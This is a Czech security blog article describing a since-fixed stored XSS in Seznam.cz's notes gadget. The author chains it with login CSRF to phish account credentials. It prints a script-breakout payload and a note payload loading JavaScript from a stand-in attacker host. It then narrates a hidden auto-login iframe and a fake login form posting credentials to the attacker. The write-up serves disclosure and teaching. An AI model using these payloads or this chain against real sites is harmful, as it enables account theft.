Zpět na seznam článků     Číst komentáře (14)     Verze pro tisk

XSS ve vlastním účtu (Seznam.cz)

Autor: .cCuMiNn.   
19.1.2011

Jak je u mě zvykem, budu se i tentokrát věnovat zranitelnosti XSS. Tentokrát popíši chybu, pomocí níž bylo do současné doby možné získat přístupové údaje k uživatelským účtům na Seznam.cz. Vzhledem k tomu, že se jedná o „pouhé“ XSS, bych si tento článek mohl zcela jistě odpustit. Nebudu se v něm ovšem ani tak věnovat samotné XSS zranitelnosti, jako spíše zneužívání persistentních XSS, které se projevují pouze po přihlášení pod naším vlastním účtem. Seznam.cz mi tak poslouží jen pro konkrétní demonstraci útoku. Uvedené postupy je nicméně možné aplikovat i u jakýchkoliv jiných webových aplikací, které obsahují podobně zranitelné místo.


Ukažme si zranitelné místo

Na www.seznam.cz se zranitelné místo nacházelo na homepage při zobrazování poznámek. Ty si může ve webmailu napsat a posléze nechat na titulní stránce Seznam.cz zobrazit každý uživatel. Obsah poznámky se ovšem mimo jiné vkládá také do řetězce v jednom z regulerních skriptů viz. následující úryvek z HTML kódu stránky.

<script type="text/javascript">/* <![CDATA[ */ SZN.gadget11 = new SZN.Gadget('gadget-11','188'); SZN.gadget11.extGadg = new SZN.Notes('gadget-11','188'); SZN.gadget11.extGadg.setNotes([{selected : 0,filled : 1,hidden : 1,content : "Moje poznamka",parsedContent : "Moje poznamka",note : 1} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 2} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 3} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 4} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 5} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 6} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 7} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 8} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 9}]) /* ]]> */</script>

Ve zvýrazněném textovém řetězci zmíněného skriptu se ovšem pozapomnělo na nahrazování nebezpečných znaků (kterými jsou například ostré závorky) za jejich HTML entity. Po vložení vstupu </script><script>alert(/XSS/);/* nám tak interpretace HTML umožnila se z textového řetězce vymanit a spustit tak námi vložený kód JavaScriptu. Jedná se tedy o běžné perzistentní XSS.

<script type="text/javascript">/* <![CDATA[ */ SZN.gadget11 = new SZN.Gadget('gadget-11','188'); SZN.gadget11.extGadg = new SZN.Notes('gadget-11','188'); SZN.gadget11.extGadg.setNotes([{selected : 0,filled : 1,hidden : 1,content : "</script><script>alert(/XSS/);/*",parsedContent : "&lt;/script&gt;&lt;s<wbr />cript&gt;alert(/XSS/)<wbr />;/*",note : 1} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 2} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 3} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 4} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 5} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 6} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 7} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 8} ,{selected : 0,filled : 0,hidden : 1,content : "",parsedContent : "",note : 9}]) /* ]]> */</script>

Tímto způsobem bylo možné zajistit spuštění kódu při každé své návštěvě titulní strany Seznamu za předpokladu, že jsem byl přihlášen, měl povolen gadget s poznámkami a můj účet obsahoval zmíněnou poznámku. Pokud se ovšem nad touto skutečností zamyslíte, dojde vám, že spuštění vloženého JavaScriptu tak mohl vyvolat pouze každý sám u sebe. Pořizování poznámek někomu jinému pomocí útoku CSRF je totiž správně ošetřeno a není možné. To je samozřejmě pravda, nicméně ve spojení s dalšími prvky útoku lze i tuto, pro útočníka nepříjemnou skutečnost, obejít. Sílu XSS útoku proti zmíněné bezpečnostní trhlině jsem se rozhodl demonstrovat exploitem, který umožnil získat přístupové údaje k uživatelským účtům.

Požadavky kladené na potenciální oběti:

  • Ke svému účtu se musí alespoň občasně přihlašovat skrz webové rozhraní
  • Musí mít ve svém browseru povolený JavaScript
  • Pro větší variabilitu útoku je lepší, když se uživateli automaticky nemažou při vypnutí prohlížeče soubory cookies
  • Je vyžadována spoluúčast oběti spočívající v kliknutí na zaslaný odkaz

Výše uvedené požadavky splňuje mnoho uživatelů Seznam.cz.

Jak nalezenou bezpečnostní trhlinu zneužít

Nyní vás už ale asi zajímá, jakým způsobem bylo možné spustit skript v poznámce jednoho účtu pod účtem jiného uživatele. Celý fígl spočíval v tom, že jsme mohli svou oběť přihlásit pomocí CSRF bez jejího vědomí pod náš účet. K tomu stačilo zašlat oběti odkaz na webovou stránku s kódem odesílajícím patřičný request, který se o přihlášení pod náš účet postaral. Stejným requestem bylo možné oběť ihned po přihlášení nasměrovat na webovou stránku www.seznam.cz. Tam bezprostředně došlo ke spuštění našeho skriptu z poznámky, který si s obsahem homepage Seznamu trochu pohrál.

Práce na exploitu

První věcí, kterou bylo nutné udělat, bylo založení nového účtu, který sloužil pouze pro účely přihlašování obětí. Řekněme, že se tento účet jmenoval mail.attacker@seznam.cz a přístupové heslo k tomuto účtu bylo qwertz. V tomto účtu jsem vytvořil poznámku tohoto znění: </script><script src='http://www.attacker.cz/libr.js>/*. Tato poznámka měla za úkol po zobrazení na titulní stránce zajistit načtení útočného kódu z externího úložiště. Aby však k zobrazení poznámky (a tím pádem ke spuštění skriptu) došlo, bylo ještě nutné nastavit pod vytvořeným účtem zobrazování poznámek na homepage www.seznam.cz. Tímto byla dokonale připravena půda pro následné kroky útoku.

Další věcí v pořadí bylo vytvoření jednoduché webové stránky, která se postarala o automatické přihlášení oběti k připravenému účtu mail.attacker@seznam.cz. Začal jsem tím, že jsem si prohlédl zdrojový kód přihlašovacího formuláře na seznam.cz. Mohl jsem ovšem také zachytit POST požadavek, který směřuje k serveru ve chvíli přihlašování. Tím jsem získal všechny potřebné informace k tomu, abych mohl tento formulář ve zjednodušené formě reprodukovat na svých stránkách. Formulář jsem navíc předvyplnil přístupovými údaji k připravenému účtu a doplnil kousek kódu, který zajistil automatické odeslání dat z formuláře, okamžitě po načtení této stránky. Zdrojový kód pak vypadal takto:



Pokud bych nyní odeslal odkaz na tuto webovou stránku své oběti a ta na něj klikla, byla by po přihlášení díky parametru loggedURL přesměrována na hlavní stránku Seznamu. Vzhledem k tomu, že by po tomto přesměrování byla oběť již přihlášena pod účtem mail.attacker, spustil by se jí automaticky také útočný skript.

Za zmínku stojí také skutečnost, že jsem současně s přihlášením nastavil během požadavku parametrem remember automatické přihlašování. Pokud by tedy oběť násilně ukončila běh prohlížeče nebo přešla na jiné stránky, byla by přesto vždy při každé další návštěvě www.seznam.cz přihlášena pod mým účtem a skript se tak opětovně spustil.

Vzhledem k tomu, že můj odkaz směřoval na jinou stránku, než je Seznam.cz, asi by se oběť divila, že se ocitla právě na něm. Postaral jsem se proto ještě o další skrytí útoku tím, že jsem stránku s automaticky odesílaným přihlašovacím formulářem schoval do iframe a uživateli zobrazil pouze strohý text, že byla navštívená stránka zrušena. Toto ovšem nemusí fungovat ve všech verzích prohlížečů, protože některé mohou spouštění skriptů v iframu blokovat. V případě Firefoxu však uvedý postup fungoval bez sebemenších problémů.



Po té, co jsem uvedl, jakým způsobem může útočník u oběti spustit skript, který se nalézá v účtu jiném, zbývá dotáhnout do konce náš exploit. Skript, který se spouští v poznámce, byl umístěn v souboru libr.js na mém webu a jeho obsah mohl být různý v závislosti na požadovaném cíli útoku. Já zvolil variantu, kdy skript přepsal informace, které přihlášeného uživatele informují o názvu aktuálního účtu a umožňují mu odhlášení, v horním pravém rohu. Následně skript nahradil gadget s náhledem do e-mailové schránky kopií přihlašovacího formuláře, ve kterém byl pozměněn cíl (atribut action) tak, aby ukazoval na mou stránku send.php.



Skript send.php se pak už jen postaral o zaslání přistupových údajů oběti na můj mail a o přihlášení uživatele k jeho pravému účtu.



Na to, jak celý exploit fungoval v praxi se můžete podívat na youtube.com


Uvedený exploit nebyl ve skutečnosti nikdy použit proti žádnému z cizích účtů. Společnost Seznam.cz byla před zveřejněním tohoto článku na existenci popsané zranitelnosti upozorněna a během krátké doby tak došlo k jejímu odstranění. Dnes je již zveřejněný exploit nefunkční a slouží pouze pro vaší inspiraci.

Na obhajobu Seznam.cz bych chtěl ještě s čistým svědomím dodat, že ačkoliv se čas od času vyskytne v jejich webových aplikacích nějaká ta zranitelnost, staví se Seznam.cz (narozdíl od některých jeho konkurentů) k otázkám bezpečnosti vždy velice zodpovědně a profesionálně.

Pozor na uživatelské CSS

Na závěr se zmíním ještě o jakési další mutaci popsaného útoku. Mnoho webů totiž poskytuje svým uživatelům možnost přizpůsobit si vzhled aplikace pomocí vlastních CSS. Je tomu tak například na Seznam.cz, ale také i zde na SOOM.cz. Vzhledem k tomu, že některé webové prohlížeče (hlavně jejich starší verze) umožňují spouštění skriptů obsažených v těchto souborech (například prostřednictvím metod behavior, expression nebo -moz-binding), je tak možné na jejich uživatele zaútočit podobným způsobem, který byl popsán výše. Stačí, aby si útočník založil účet, nastavil na něm vlastní styl obsahující útočný kód a uživatele pak k tomuto účtu přihlásil pomocí CSRF.

Ochrana proti takovému zneužívání je buďto v zamezení přihlášení stylem CSRF, což není zrovna nejjednodušší, nebo v kontrole samotného obsahu CSS souborů. V tom případě by pak ovšem bylo nutné ukládat tyto uživatelské soubory na straně aplikace a ne u samotných uživatelů.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.2/20

1  2  3  4  5    
(známkování jako ve škole)